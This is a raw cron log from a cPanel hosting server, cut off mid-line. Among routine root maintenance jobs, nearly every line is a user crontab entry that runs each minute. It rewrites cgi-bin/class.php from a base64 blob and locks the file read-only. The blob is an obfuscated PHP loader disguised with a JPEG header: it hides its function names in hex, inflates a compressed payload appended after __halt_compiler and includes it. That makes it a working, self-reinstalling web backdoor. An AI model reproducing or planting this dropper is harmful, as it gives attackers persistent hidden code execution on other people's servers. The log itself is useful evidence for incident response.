Apr  7 00:03:01 server CROND[29682]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 00:04:01 server CROND[29742]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 00:05:01 server CROND[29799]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 00:05:01 server CROND[29800]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 00:05:01 server CROND[29802]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 00:05:01 server CROND[29803]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 00:06:01 server CROND[30196]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 00:07:01 server CROND[30249]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 00:08:01 server CROND[30318]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 00:09:01 server CROND[30392]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  7 00:09:01 server CROND[30393]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 00:10:01 server CROND[30471]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 00:10:01 server CROND[30472]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 00:10:01 server CROND[30473]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 00:10:01 server CROND[30475]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 00:11:02 server CROND[30606]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 00:12:01 server CROND[30823]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 00:12:01 server CROND[30824]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 00:13:01 server CROND[31023]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 00:14:01 server CROND[31083]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 00:15:01 server CROND[31161]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 00:15:01 server CROND[31164]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr  7 00:15:01 server CROND[31163]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 00:15:01 server CROND[31166]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Apr  7 00:15:01 server CROND[31165]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 00:16:01 server CROND[31318]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVR